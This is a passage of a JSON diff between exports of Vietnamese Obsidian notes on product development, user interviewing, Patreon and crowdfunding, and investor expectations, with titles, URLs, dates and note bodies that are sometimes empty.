án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đây là quy trình phát triển sản phẩm truyền thống:\r\n![](https://i.imgur.com/UVkZGQo.png)\r\n\r\nLàm được theo quy trình này thì cũng rất tốt, nhưng thực tế thì thường ít làm theo như vậy vì không có thời gian/quá nhiều việc. Hệ quả là\r\n1. \r\n2. [[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc|Đa phần là không làm nghiên cứu]]\r\n3. Có test thì chỉ test kỹ thuật mà thôi, chứ không có user\r\n4. Promote với launch thì chỉ âm thầm launch. Có quảng bá thì cũng không biết ai đọc được. [[Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng]]\r\n\r\nKết quả của việc này là [[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\r\n\r\nNguồn:: [[Hoàng Đức Minh]]\r\n\r\n", + "Mô tả bài đăng": "Hỏi một người liệu sau này họ có làm điều này điều kia không là không chắc đúng", + "Toàn bộ nội dung": "Lý do:: [[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]\nVí dụ về một số câu hỏi cho ra kết quả không đáng tin cậy:\n- Bạn có tính sử dụng sản phẩm không?\n- Bạn có sẵn lòng mua sản phẩm mới không?\n- Bạn muốn sản phẩm trông như thế nào?\n[[Dữ liệu cho dự đoán tin cậy về hành vi người dùng]] hơn.\n\nMặc dù phỏng vấn khó có thể dự đoán hành vi, nhưng [[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]. [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]]. [[Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần]]\n[[Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường]] \n[[Kết quả phỏng vấn phải actionable]]\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình]] \n[[Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình]]\nMâu thuẫn với:: [[Dữ liệu nhỏ cũng có tính dự báo xu hướng giống như dữ liệu lớn]]\nMâu thuẫn với:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]]\n\n[Value-action gap - Wikipedia](https://en.wikipedia.org/wiki/Value-action_gap)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:40:00.000Z", - "Ngày cập nhật": "2023-11-28T06:07:00.000Z", - "id": "Kb" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-07T14:45:00.000Z", + "id": "Kp" }, { - "Tiêu đề": "❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không", + "Tiêu đề": "Phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong trường hợp mình đã có sẵn một sản phẩm để đáp ứng nhu cầu của người rồi (thường là khách hàng đầu tiên đặt hàng hoặc là chính nhu cầu của mình), và giờ mình đang tìm thêm những khách hàng có cùng nhu cầu đó,", + "Toàn bộ nội dung": "\"IU004:\n\"IU005:\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Khảo sát, phỏng vấn người dùng\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-10-27T18:30:00.000Z", - "id": "Kc" + "Ngày tạo": "2023-11-01T06:54:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kq" }, { - "Tiêu đề": "❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm", + "Tiêu đề": "Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-07T12:22:00.000Z", - "id": "Kd" + "Ngày tạo": "2023-09-09T18:04:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kr" }, { - "Tiêu đề": "❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại", + "Tiêu đề": "Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Việc trả tiền có thể mời những người không thích mình nhận phỏng vấn. \n\n\nNếu không trả tiền thì họ sẽ có cảm giác ban ơn, và dễ mất kiên nhẫn\nCòn khảo sát thì nếu trả tiền thì người tham gia sẽ muốn làm cho xong\n\nLý do:: [[Tiền làm người sở hữu tưởng rằng mình độc lập]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-07T12:22:00.000Z", - "id": "Ke" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Ks" }, { - "Tiêu đề": "❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không?", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không?", + "Tiêu đề": "Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không]] ", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T18:31:00.000Z", - "id": "Kf" + "Ngày tạo": "2023-06-04T12:16:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kt" }, { - "Tiêu đề": "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Tiêu đề": "Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-07T07:28:00.000Z", - "Ngày cập nhật": "2023-11-27T06:52:00.000Z", - "id": "Kg" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Ku" }, { - "Tiêu đề": "Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Bán cho khách hàng/Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí", + "Tiêu đề": "❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Điệp]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-08T11:27:00.000Z", - "Ngày cập nhật": "2023-11-08T11:27:00.000Z", - "id": "Kh" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kv" }, { - "Tiêu đề": "Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Bán cho khách hàng/Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug", + "Tiêu đề": "❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng]]\nNguồn:: [[Điệp]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-08T11:28:00.000Z", - "Ngày cập nhật": "2023-11-26T05:24:00.000Z", - "id": "Ki" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kw" }, { - "Tiêu đề": "Crowdfunding depends on highly visible public work", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Crowdfunding depends on highly visible public work", + "Tiêu đề": "❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:30:00.000Z", - "Ngày cập nhật": "2024-04-20T16:00:00.000Z", - "id": "Kj" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kx" }, { - "Tiêu đề": "Funder-exclusive writing should be a secondary by-product of primary work", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Funder-exclusive writing should be a secondary by-product of primary work", + "Tiêu đề": "❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Unlike a typical paid newsletter or blog, funder-exclusive writing is a secondary by-product of my primary work. In this way, I’m not a traditional “content creator.” Sometimes I catch myself thinking in terms of what I’ll write or report next to my funders. That’s not good. Such a mindset, taken too seriously, encourages shallower work designed to appease others. Also, I’m human, so I naturally want to report successes. But this can create the same pressures which exist in scientific publishing: short-term-ism, conservatism, publication bias, harmful over-claiming. In research, it’s terribly important that you be brutally honest with yourself. I don’t think it’s possible to craft marketing-like messages about your “great progress” without closing your own eyes to what’s actually happening—which means you’d better be brutally honest when talking to others about your work.\r\n\r\nNguồn:: [[Andy Matuschak]], [Reflections on 2020 as an independent researcher | Andy Matuschak](https://andymatuschak.org/2020/)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:31:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Kk" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-22T13:42:00.000Z", + "id": "Ky" }, { - "Tiêu đề": "Getting Paid for Open Source Work", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Getting Paid for Open Source Work", + "Tiêu đề": "❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Getting Paid for Open Source Work | Open Source Guides](https://opensource.guide/getting-paid/)\r\n\r\nhttps://www.cs.cmu.edu/~ckaestne/pdf/icse20-donations.pdf\r\n", + "Toàn bộ nội dung": "hoặc hỏi rất nhiều thứ mà mình biết là nếu giải thích thì họ sẽ chưa thấy hiểu được ngay và hỏi tiếp, trong khi thời gian thì cũng giới hạn\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:30:00.000Z", - "Ngày cập nhật": "2023-10-14T16:47:00.000Z", - "id": "Kl" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Kz" }, { - "Tiêu đề": "Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm", + "Tiêu đề": "Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> In my interactions with patrons, I’ve been surprised to find that altruism is rarely the dominant force. Patrons mostly don’t think of themselves as paying for consumption of past work; they’re buying into production of future work.\r\n![](https://andymatuschak.org/static/2020/graph.png) \r\n\r\nLượng tăng đột biến vào tháng 5/2020 là khi anh quyết định sẽ viết thêm nhiều bài viết độc quyền chỉ những ai úng hộ mới có.\r\n\r\n>In December of 2020, I asked my patrons to briefly explain why they support my work. Roughly a quarter of my patrons wrote back. The vast majority framed their motivations in terms of supporting production of future work. Some people quite specifically want to use a prototype I’m developing; others just want to see certain ideas developed further. About a third framed their funding in terms of “[people, not projects](https://www.nature.com/articles/477529a),” expressing general confidence that I’ll do interesting work. Naturally, that’s my favorite kind of support. After this cluster of answers, the distant second most common motivation was access to the behind-the-scenes content.\r\n\r\nkhi được hỏi trực tiếp, thì rất ít người nói rằng họ làm vậy để được đọc cái bài viết chỉ dành cho người ủng hộ\r\nNguồn:: [[Andy Matuschak]], [Reflections on 2020 as an independent researcher | Andy Matuschak](https://andymatuschak.org/2020/)\r\n\r\n[[Crowdfunding depends on highly visible public work]] [[Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có]]\r\n\r\nKhó khăn:: [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], [Setting KPIs and Goals | Startup School - YouTube](https://youtu.be/6DTK9yDP6p0?si=LHGKMJ7z3BuHg631&t=1481)\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-30T14:42:00.000Z", - "id": "Km" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-28T17:03:00.000Z", + "id": "K-" }, { - "Tiêu đề": "Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ", + "Tiêu đề": "❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> internet culture as it's also so brand new. The internet is still a complete baby and we have yet to figure it out obviously given the sort of all the awful things that sometimes play out on the internet. And Patreon also seems like it's very much part of that. It's very much like we realize that this isn't really working, right? Because someone who subscribes to your Patreon doesn't really get a meaningful social interaction with you, which is probably what they want in some consents through their monthly payment. And you don't know who these people are in any meaningful human sense of having a social interaction with them and a bond. So on a fundamental level, this whole, this whole system is not doing what we need it to.\r\n\r\n[[Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ]] \r\n\r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=31:23)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Kn" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "K_" }, { - "Tiêu đề": "Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường", + "Tiêu đề": "Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> So the UI is focused on that and so it's not really about making relationship, it's about extracting money from people. It feels, and you can say the same with GitHub. I feel like GitHub is also, even though it's about open source, a lot of times it feels transactional in a way as well. It's efficiency of code and project management versus dealing with burnout or mentorship or onboarding or off-boarding, even all these different concepts that are not in the product because you have to do all these things outside.\r\n\r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=33:11)\r\n", + "Toàn bộ nội dung": "Thách thức:: [[Giai đoạn lên ý tưởng thường khó khăn]]\n[[❓Khách hàng sẽ nhớ đến mình nếu như mình có thể tạo được satisfaction of emotion, nhưng họ chỉ làm tnv hoặc góp tiền cho mình khi họ cần đảm bảo một cái gì đấy]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T08:52:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ko" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-28T04:15:00.000Z", + "id": "L0" }, { - "Tiêu đề": "Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ", + "Tiêu đề": "Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường]] \r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=29:34)\r\n", + "Toàn bộ nội dung": "Có những cái phải chạy mô hình dự báo\n\nNguồn:: [[ABG Open Special 2023]]\n\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]\n[[Muốn thấy được những vấn đề lớn cần sự thong thả]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Kp" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "L1" }, { - "Tiêu đề": "Nhà đầu tư tìm kiếm tiền trong vụ đầu tư", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà đầu tư tìm kiếm tiền trong vụ đầu tư", + "Tiêu đề": "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Large upside opportunity through an exit, usually M&A\n- Good problem-solution set (product-market fit)\n- Clearly identified markets and channels \n- Cohensive teams that work well together\n- Understaing of competitive pressure \n\n2 usually reasons for failing:\n- Not having a good problem-solution set (product-market fit)\n- Not having a cohensive teams that work well together\n\n[[Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng]]z\n", + "Toàn bộ nội dung": "Lý thuyết phổ biến về phân khúc khách hàng ví dụ như early adopter. Còn với phát triển sản phẩm, cùng với app loyalty, cùng nhà hàng thì có bình dân, 5 sao, chuỗi. Mỗi bên có tập khách hàng của riêng họ. \nNên cơ bản phải đi từ giả thiết. Họ là ai. Họ cần gì. Từ đó mới chia nhỏ hơn thành các mục tiêu nghiên cứu\n\nNguồn:: [[Hoàng Đức Minh]]\nEverygreen", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:30:00.000Z", - "Ngày cập nhật": "2023-11-09T09:13:00.000Z", - "id": "Kq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "L2" }, { - "Tiêu đề": "Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà 